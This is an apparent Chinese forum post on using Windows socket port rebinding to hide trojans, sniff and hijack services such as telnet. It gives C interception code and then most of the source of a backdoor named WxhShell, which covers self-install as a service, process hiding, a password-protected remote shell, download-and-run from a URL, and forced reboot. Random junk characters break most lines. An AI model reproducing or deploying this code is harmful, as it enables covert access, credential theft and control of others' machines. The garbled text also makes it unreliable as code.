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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: O- QT+]  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 19qH WU^0V  
L6PgWc;m  
  saddr.sin_family = AF_INET; m~AAO{\:b  
V [g^R*b  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); j8p<HE51  
i0K 2#}=^  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); P dqvXc  
?Y3i-jY  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Zf3(! a[  
Ig}hap]G  
  这意味着什么?意味着可以进行如下的攻击: 5=I({=/>  
e'A_4;~@s  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 BInSS*L  
Lv['/!DJ|  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) dN3^PK  
RU7+$Z0K  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 q"<=^vi  
t3Gy *B  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Os-Z_zSl6  
JX&]>#6|E  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 m;l[flQ~  
@9| jY1  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 npltsK):  
}6\,kFc  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 <Y7j'n  
wg%Z  
  #include ^UJIDg7zS  
  #include xOKJOl  
  #include yO7y`;Q(sF  
  #include    DdI%TU K,  
  DWORD WINAPI ClientThread(LPVOID lpParam);   W9Azp8)p]  
  int main() lf>d{zd5  
  { 9e K~g0m  
  WORD wVersionRequested; aOGoJCt C  
  DWORD ret; p-{ 4 $W  
  WSADATA wsaData; d9:I.SA)E  
  BOOL val; dY&v(~&;]  
  SOCKADDR_IN saddr; <Hr<QiAK  
  SOCKADDR_IN scaddr; #1E4 R}B  
  int err; yKl^-%Uq<  
  SOCKET s; H!]&"V77  
  SOCKET sc; -%MXt  
  int caddsize; >8I~i:hn  
  HANDLE mt; 3]?='Qq.(  
  DWORD tid;   Ebs]]a>PO  
  wVersionRequested = MAKEWORD( 2, 2 ); "zJxWXI  
  err = WSAStartup( wVersionRequested, &wsaData ); k1xx>=md|C  
  if ( err != 0 ) { 1a(\F 7  
  printf("error!WSAStartup failed!\n"); a5/, O4Q  
  return -1; )jgz(\KZ  
  } #rX ^)2  
  saddr.sin_family = AF_INET; ai$l7]7  
   pP":,8Q{  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ^g6v#]&WA  
aSIb0`(3  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); `oikSx$vB.  
  saddr.sin_port = htons(23); }|| p#R@?  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 51|s2+GG  
  { gPB=Z!  
  printf("error!socket failed!\n"); \-]Jm[]^  
  return -1; kR %,:   
  } ^-PYP:*  
  val = TRUE; "r@#3T$  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 5}hQIO&^%  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) A+M4=  
  { /} PdO  
  printf("error!setsockopt failed!\n"); m}?jU  
  return -1; b}Gm{;s!  
  } L]z8'n,  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; YT!iI   
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 @-S7)h>~  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 :2c(.-[`  
6/L[`n"G  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) _VdJFjY?zc  
  { Z72%Bv  
  ret=GetLastError(); 2EpQ(G J  
  printf("error!bind failed!\n"); 7=fN vES2  
  return -1; y|O3*`&m  
  } T DR|*Cs  
  listen(s,2); L@[}sMdq(  
  while(1) V)~b+D  
  { 3l~7  
  caddsize = sizeof(scaddr); 1YMi4.  
  //接受连接请求 n]#YL4j  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); !O!:=wq  
  if(sc!=INVALID_SOCKET) kYkA^Aq  
  { +1c r6a  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); N<<wg{QO  
  if(mt==NULL) #@BhGB`9Qt  
  { yxu7YGp%  
  printf("Thread Creat Failed!\n"); ]SA/KV   
  break; +0[H`5-^  
  } 9'H:pb2  
  } /1/'zF&R-  
  CloseHandle(mt); G2wSd'n*y  
  } @*xP A  
  closesocket(s); t&43)TPb.  
  WSACleanup(); U`~L}w"  
  return 0; RjUrpS[I  
  }   h~sTi  
  DWORD WINAPI ClientThread(LPVOID lpParam) ^^ix4[1$Z  
  { J#wf`VR%  
  SOCKET ss = (SOCKET)lpParam; ,|$1(z*a{c  
  SOCKET sc; 9s5s;ntz"  
  unsigned char buf[4096]; ck `td%  
  SOCKADDR_IN saddr; SbUac<  
  long num; sqhIKw@  
  DWORD val; 63\ CE_p  
  DWORD ret; 3 +'vNc  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Bj6%mI42hl  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   z[[qrR  
  saddr.sin_family = AF_INET; 8hww({S2  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 30I-E ._F  
  saddr.sin_port = htons(23); qm_r~j  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) zp9lu B  
  { Jb> X$|N'%  
  printf("error!socket failed!\n"); Xbx=h^S  
  return -1; mvpcRe <  
  } cCiDe`T\F  
  val = 100; t3.;qDy  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \25EI]  
  { mnZfk  
  ret = GetLastError(); VgbT/v  
  return -1; GBS+ 4xL|  
  } oc-&}R4=  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) GJU(1%-  
  { 5.\|*+E~  
  ret = GetLastError(); 9f& !Uw_W  
  return -1; -XnIDXM  
  } k f Y;  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 8H};pu2  
  { |ul{d|  
  printf("error!socket connect failed!\n"); % mPv1$FH  
  closesocket(sc); 'e<8j  
  closesocket(ss); VPO~veQ  
  return -1; PQ_A^95  
  } AwuhF PG  
  while(1) be-HF;lZe'  
  { @`B_Q v@  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 S/eplz;  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 w `d9" n  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 H0B=X l[  
  num = recv(ss,buf,4096,0); { **W7\h  
  if(num>0) *@@dO_%6  
  send(sc,buf,num,0); Lf<urIF  
  else if(num==0) ,V5fvHPH)8  
  break; #t Pc<p6m  
  num = recv(sc,buf,4096,0); @[\zO'|  
  if(num>0) EUrIh2.Z  
  send(ss,buf,num,0); ,qB@agjvo<  
  else if(num==0) e+#k\x   
  break; 2V; Dn$q  
  } Z-}A "n  
  closesocket(ss); q l5&&e=-  
  closesocket(sc); ,bM):  
  return 0 ; <h+UC# .x  
  } FD%OG6db];  
(u@X5O(a  
NyC&j`d  
========================================================== TntTR"6aD  
7;.Iat9gMf  
下边附上一个代码,,WXhSHELL z&#^9rM"  
VS`{k^^  
========================================================== OqH3. @eK  
58mpW`Q  
#include "stdafx.h" <f)T*E^5%  
'Zex/:QS  
#include <stdio.h> sc-hO9~k  
#include <string.h> @Wm:Rz  
#include <windows.h> NTK9`#SA  
#include <winsock2.h> =%I;Y& K  
#include <winsvc.h> mss.\  
#include <urlmon.h> S&l [z,  
%<O~eXY  
#pragma comment (lib, "Ws2_32.lib") hH05p!2  
#pragma comment (lib, "urlmon.lib") &Vpr[S@:{  
C^_m>H3b  
#define MAX_USER   100 // 最大客户端连接数 L"c.15\  
#define BUF_SOCK   200 // sock buffer e^;:iJS  
#define KEY_BUFF   255 // 输入 buffer b ettOg  
1jBIi  
#define REBOOT     0   // 重启 Xyz/CZPi  
#define SHUTDOWN   1   // 关机 Zv mkb%8  
;5T}@4m|r  
#define DEF_PORT   5000 // 监听端口 5TeGdfu @  
rkdA4'66w  
#define REG_LEN     16   // 注册表键长度 M djxTr^  
#define SVC_LEN     80   // NT服务名长度 6N Ogi  
bQN3\mvY  
// 从dll定义API  )L":I  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); noB8*n0  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); fX\y/C  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Bz%wV-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \fvm6$ rZ^  
^rY18?XC+:  
// wxhshell配置信息 OYmutq  
struct WSCFG { ]w4?OK(j  
  int ws_port;         // 监听端口 ^,f^YL;  
  char ws_passstr[REG_LEN]; // 口令 ESFJN}Q%0.  
  int ws_autoins;       // 安装标记, 1=yes 0=no v/vPU  
  char ws_regname[REG_LEN]; // 注册表键名 .Tw:Y,G  
  char ws_svcname[REG_LEN]; // 服务名 d|W=_7 z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,E%O_:}R  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 {C8IYBm  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *].qm g%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no j]-_kjt  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" P_p\OK*l]o  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -M T1qqi  
|v#D}E  
}; QaA?UzB  
_2<UcC~  
// default Wxhshell configuration {z;K0  
struct WSCFG wscfg={DEF_PORT, 0#m=76[b  
    "xuhuanlingzhe", NP4u/C<  
    1, f1U8 b*F<  
    "Wxhshell", v7hw%9(=  
    "Wxhshell", m9D Tz$S.  
            "WxhShell Service", v<(+ l)Ln  
    "Wrsky Windows CmdShell Service", BbL]0i  
    "Please Input Your Password: ", GZuWA a  
  1, BT$Oh4y4  
  "http://www.wrsky.com/wxhshell.exe",  3U!=R-  
  "Wxhshell.exe" |S<!'rY  
    }; gg#lI|  
DH i@ujr  
// 消息定义模块 79o=HiOF99  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \W=Z`w3  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 2BT+[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Gfy9YH~  
char *msg_ws_ext="\n\rExit."; CeUXGa|C  
char *msg_ws_end="\n\rQuit."; ;"RyHow  
char *msg_ws_boot="\n\rReboot..."; 'w<^4/L Q  
char *msg_ws_poff="\n\rShutdown..."; ^LXsU] R  
char *msg_ws_down="\n\rSave to "; eQ6wEeB9  
c&h8Qk3  
char *msg_ws_err="\n\rErr!"; 2\#$::B9  
char *msg_ws_ok="\n\rOK!"; (4C)] RHQ  
E]a;Ydf~  
char ExeFile[MAX_PATH]; bJ6H6D>  
int nUser = 0; z/p^C~|}  
HANDLE handles[MAX_USER]; Y ;E'gP-J  
int OsIsNt; $S2 /*  
tWaGCxaE  
SERVICE_STATUS       serviceStatus; ]F;1l3I-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \F+".X#jh  
Ul 85-p  
// 函数声明 /L|x3RHs  
int Install(void); ~6QV?j  
int Uninstall(void); <F-IF7>a  
int DownloadFile(char *sURL, SOCKET wsh); U17=/E  
int Boot(int flag); n!Y}D:6c6  
void HideProc(void); 7Xh @%[   
int GetOsVer(void); e5; YY  
int Wxhshell(SOCKET wsl); x'6i9]+r  
void TalkWithClient(void *cs); ;WrG\R/|  
int CmdShell(SOCKET sock); Y~#F\v  
int StartFromService(void); Pj BBXI1i  
int StartWxhshell(LPSTR lpCmdLine); %t74*cX  
u{D]Kc?n  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); g]BA/Dw  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); t!B,%,Dp  
v5?ct?q  
// 数据结构和表定义 P"@^BQ4  
SERVICE_TABLE_ENTRY DispatchTable[] = TXs&*\  
{ o>&pj  
{wscfg.ws_svcname, NTServiceMain}, GyFA1%(o  
{NULL, NULL} ,u- 9e4  
}; ]'hel#L;l  
mGmZ}H'{  
// 自我安装 "W9z>ezp  
int Install(void) ^![7X'!;pt  
{ ~~t >;  
  char svExeFile[MAX_PATH]; ]xJ. OUJy  
  HKEY key; /,$V/q+  
  strcpy(svExeFile,ExeFile); %*gg6Q  
|'x"+x   
// 如果是win9x系统,修改注册表设为自启动 muFWFq&yP  
if(!OsIsNt) { iHQ$L# 7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z;0<k;#T(p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $d.Dk4.ed  
  RegCloseKey(key); >-w# &T &K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j*GS')Cm  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |}X[Yg=FG  
  RegCloseKey(key); ;.R) uCd{=  
  return 0; ?T|0"|\"'  
    } EyBTja(4  
  } 3mg:9]X9  
} [?$tu%Q(Z  
else { x7jFYC  
rx<P#y]3)  
// 如果是NT以上系统,安装为系统服务 =fB"T+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); K;w]sN+I  
if (schSCManager!=0) N+pCC  
{ ^.~e  
  SC_HANDLE schService = CreateService Jv]$@>#  
  ( wqzpFPk(  
  schSCManager, ;W\?lGOs{  
  wscfg.ws_svcname, (_gt!i{h  
  wscfg.ws_svcdisp, Y\4B2:Qd9  
  SERVICE_ALL_ACCESS, Cj YI *  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2)QZYgfh  
  SERVICE_AUTO_START, 5rQu^6&  
  SERVICE_ERROR_NORMAL, KAu>U3\/  
  svExeFile, uy<b5.!-  
  NULL, 2nL*^hhh  
  NULL, TDy$Mv=y  
  NULL, Wdj|RKw  
  NULL, :j/sTO=  
  NULL (>lH=&%zj  
  ); OcC|7s" ,  
  if (schService!=0) u6MU @?  
  { u1. 0-Y?  
  CloseServiceHandle(schService); d%E*P4Ua  
  CloseServiceHandle(schSCManager); Q j|tD+<  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <;1M!.)5  
  strcat(svExeFile,wscfg.ws_svcname); 7(| f@Y~*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3Jj&wHp]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .>1Y-NM  
  RegCloseKey(key); q[+KQ,  
  return 0; rA8{Q.L  
    } sx'eu;S  
  } (/{bJt~b  
  CloseServiceHandle(schSCManager); rcH{"\F_/  
} 3`NSSS  
} ?<Mx*l  
Z4gn7 'V  
return 1; *|;`Gp  
} 0 c,!<\B  
@V^5_K  
// 自我卸载 g\iSc~%?  
int Uninstall(void) Lnq CHe  
{ )FfS7 C\.  
  HKEY key; =gZA9@]W2  
M<Dvhy[  
if(!OsIsNt) { N]\)Ok  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r!|h3*YA  
  RegDeleteValue(key,wscfg.ws_regname); Ip *8R]W  
  RegCloseKey(key); Ev3,p`zS._  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7m:TY>{  
  RegDeleteValue(key,wscfg.ws_regname); nXjSf  
  RegCloseKey(key); }n"gX>e~  
  return 0; BhiOV_}Hn  
  } :" JEC'  
} |M18/{  
} QpS7 nGev  
else { jI<_(T  
{*<%6?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 82o|(pw  
if (schSCManager!=0) T!^v^m@>y  
{ Q6N?cQtOT  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,8!'jE[d  
  if (schService!=0) ? Y luX  
  { O&VA79\UO  
  if(DeleteService(schService)!=0) { {Wfwf  
  CloseServiceHandle(schService); - "{hP  
  CloseServiceHandle(schSCManager); OgHqF,0MN  
  return 0; P=s3&NDD  
  } 4`Jf_C  
  CloseServiceHandle(schService); N0 mh gEA  
  } xokA_3,1F  
  CloseServiceHandle(schSCManager); t{`krs``  
} .;(a;f+{;  
} 19%zcYTe  
*R7bI?ow  
return 1; I<Mb /!TQ  
} oE0~F|(\1  
i8f+woZL  
// 从指定url下载文件 bh3yH>Zns  
int DownloadFile(char *sURL, SOCKET wsh) wT-K g=-q  
{ 0}'/3Q  
  HRESULT hr; K%u>'W  
char seps[]= "/"; v`p@djM  
char *token; +Z]}ce u"  
char *file; DUg[L  
char myURL[MAX_PATH]; w>'3}o(nY  
char myFILE[MAX_PATH]; `91Z]zGpU  
Cj/!m  
strcpy(myURL,sURL); Mf7 [@#$  
  token=strtok(myURL,seps); c}H}fyu%n  
  while(token!=NULL) QC6QqcOX  
  { ]!s@FKC{;  
    file=token; b tbuE  
  token=strtok(NULL,seps); z<J2e^j  
  } RS@G.|  
:u)Qs#'29  
GetCurrentDirectory(MAX_PATH,myFILE); U_Q;WPJ  
strcat(myFILE, "\\"); cxx8I  
strcat(myFILE, file); '+c@U~d*7  
  send(wsh,myFILE,strlen(myFILE),0); lAo4)  
send(wsh,"...",3,0); Y3 -f68*(  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); xZ SDA8kS  
  if(hr==S_OK) 0w vAtK|Q  
return 0; *&V"x=ba,  
else cyh ;1Q  
return 1; xmfZ5nVL  
*nv ^s  
} 5'<mfY'B  
lAGntYv  
// 系统电源模块 +x~p&,w?  
int Boot(int flag) 0oqOX  
{ R0|4KT-i  
  HANDLE hToken; H.o3d/8:  
  TOKEN_PRIVILEGES tkp; Ag&K@%|*  
/_yAd,^-+  
  if(OsIsNt) { h<n2pz}  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); kUr/*an  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); R38 \&F  
    tkp.PrivilegeCount = 1; kL<HGQt  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Z>dvth  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); r"t,/@`n  
if(flag==REBOOT) { bw!*=<  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) g[\8s~g,  
  return 0; -"XHN=H  
} ]LMtZUz  
else { `BaJ >%|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) BJ5^-|  
  return 0; ofsLx6Po  
} 8N3rYx;d~  
  } !P":z0K4  
  else { (nYGN$qC9  
if(flag==REBOOT) { kjt(OFh'Y+  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) xU(b:D Z  
  return 0; st>%U9  
} M-e|$'4u  
else { Z4m+GFY  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) V >~\~H2Y  
  return 0; Zv9%}%7p  
} e2pFX?  
} 2(P<TP._E  
LKZv#b[h  
return 1; -$,'|\Y  
} Owv}lJ  
WHu[A/##']  
// win9x进程隐藏模块 JIf.d($ ~:  
void HideProc(void) 8x8nQ *_  
{ S%wd Xe  
j%':M  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); x1" 8K  
  if ( hKernel != NULL ) 1DN  
  { jLw|F-v-l<  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;qcOcm%  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); jHV) TBr  
    FreeLibrary(hKernel); zhY]!  
  } f=Oj01Ut*  
.\3gb6S}  
return; 4E$d"D5]>p  
} \{qtdTd  
.}E@ 7^X  
// 获取操作系统版本 :W+%jn  
int GetOsVer(void) )q[Wzx_ j<  
{ s%A?B 8,  
  OSVERSIONINFO winfo; *@W B aN+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =<AG}by![  
  GetVersionEx(&winfo); hE'>8{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `H9 !Z$7G  
  return 1; OU*skc>  
  else 0%yPuY>  
  return 0; w BoP&l  
} f?(g5o*2  
8:Dkf v  
// 客户端句柄模块 iT+t  
int Wxhshell(SOCKET wsl) AdzdYZiM_  
{ s=Kz9WLy  
  SOCKET wsh; &3itBQF  
  struct sockaddr_in client; ^,J>=>,1\  
  DWORD myID; 29&F_  
Bp4#"y2  
  while(nUser<MAX_USER) l-SVI9|<0  
{ 4y $okn\}i  
  int nSize=sizeof(client); |lyspD  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); hW\'EJ  
  if(wsh==INVALID_SOCKET) return 1; iEbW[sX[ 4  
7Q~$&G  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *9`k$'  
if(handles[nUser]==0) 3~LNz8Z*  
  closesocket(wsh); G)gb5VW k  
else -oY8]HrXfK  
  nUser++; cmY `$=  
  } )"63g   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); V5 Gy|X  
a;&0u>  
  return 0; ]1I-e2Q-J  
} 7UUu1"|a|  
yvnvIy  
// 关闭 socket !P6?nS  
void CloseIt(SOCKET wsh) 7_eV.'h  
{ zXx A"  
closesocket(wsh); Ym$`EN  
nUser--; :j`XU  
ExitThread(0); fe}RmnAC  
} "kKIv|`  
tv; ?W=&P  
// 客户端请求句柄 2/x~w~3U  
void TalkWithClient(void *cs) Z`n "}{  
{ %~0]o@LW7  
51ILR9 Bc_  
  SOCKET wsh=(SOCKET)cs; (.b!kfC  
  char pwd[SVC_LEN]; 9QeBz`lm)  
  char cmd[KEY_BUFF]; $-\%%n0>6  
char chr[1]; cVSns\QO  
int i,j; GbvbGEG  
},O7NSG<o  
  while (nUser < MAX_USER) { <Rz[G+0S=  
zv^+8h7k  
if(wscfg.ws_passstr) { xJOp ~fKG  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |{rhks~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9MbF:  
  //ZeroMemory(pwd,KEY_BUFF); fS%B/h=  
      i=0; "Q{7X[$$^  
  while(i<SVC_LEN) { u=0161g  
~$1g"jIw  
  // 设置超时 ]UZP dw1D  
  fd_set FdRead; ghk"XJ|  
  struct timeval TimeOut; }$ a *XY1  
  FD_ZERO(&FdRead); r/QI-Cf&  
  FD_SET(wsh,&FdRead); I}awembw g  
  TimeOut.tv_sec=8; v(,YqT>q@U  
  TimeOut.tv_usec=0; {RD9j1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); f3<253 1/}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); dx.Jv/Mb  
%mOQIXr1s  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); aED73:b  
  pwd=chr[0]; Z'd]oNF  
  if(chr[0]==0xd || chr[0]==0xa) { eGWwPSIp  
  pwd=0; V0_^==Vs  
  break; d^"|ESQEU  
  } hz h3p[  
  i++; $]a*ZHd;2&  
    } &C#?&AQ  
$M1;d1e6'  
  // 如果是非法用户,关闭 socket F#RtU :R  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); qporH]J-E  
} 1b@]^Ue  
[5GzY`/m  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); dX-j3lM:#  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); FQ/z,it_i  
i{r[zA]$  
while(1) { Z,>owoP4  
(T.j3@Ko  
  ZeroMemory(cmd,KEY_BUFF); eXkpU7w;  
&-Q_%eM^  
      // 自动支持客户端 telnet标准   &7eN EA  
  j=0; 6?/f $,v  
  while(j<KEY_BUFF) { =$_kkVQ$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p;mV?B?oAQ  
  cmd[j]=chr[0]; BNixp[Hc  
  if(chr[0]==0xa || chr[0]==0xd) { D$`$4mX@hP  
  cmd[j]=0; _znpzr9H  
  break; e_FoNT  
  } 6g)CpZU  
  j++; pQ8f$I#v  
    } = jTC+0u  
.la_u8A]  
  // 下载文件 w(Q{;RNM;  
  if(strstr(cmd,"http://")) { p`'3Il3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); )0=H)k0  
  if(DownloadFile(cmd,wsh)) tHFUV\D;,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); EIOP+9zP  
  else C`8.8  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jTqE V(  
  } ) LohB,?  
  else { (7X^z&2  
OZe`>Q6  
    switch(cmd[0]) { - P4X@s_;  
  5&]a8p{  
  // 帮助 ?VyiR40-Cx  
  case '?': { UxnZA5Lk*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); pO2XQYhrY  
    break; z%$M IC  
  } ~le:4qaX  
  // 安装 u>V~:q\X  
  case 'i': { Qn/ 6gRLj  
    if(Install()) Qo80u? *  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C0&ZQvvy1:  
    else Z|d+1i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #_:%Y d  
    break; A!a.,{fZ  
    } Q6CVMYT  
  // 卸载 +,eF(VS!  
  case 'r': { 8P} a  
    if(Uninstall()) T t$] [  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gc W'  
    else YOY2K%o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @680.+Kw  
    break; T~d_?UAw$  
    } Uf|@h  
  // 显示 wxhshell 所在路径 rW*[sLl3  
  case 'p': { 2Xv$  
    char svExeFile[MAX_PATH]; 6<YAoo  
    strcpy(svExeFile,"\n\r"); t]ID  
      strcat(svExeFile,ExeFile); 0 l+Jq  
        send(wsh,svExeFile,strlen(svExeFile),0); k jx<;##R8  
    break; :79u2wSh  
    } ]'0}fuV  
  // 重启 <Q_E3lQy/  
  case 'b': { 48.4GwL7  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); uFfk!  
    if(Boot(REBOOT)) N \woFrG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I@(3~ Ab  
    else { *~zB{  
    closesocket(wsh); $/Llzpvny  
    ExitThread(0); w[u>*I  
    } 0 .ck!"h}  
    break;  \ns} M3  
    } _*wlK;`  
  // 关机 )J 8mn*  
  case 'd': { (b7',:_U7  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); iz27yXHZ~  
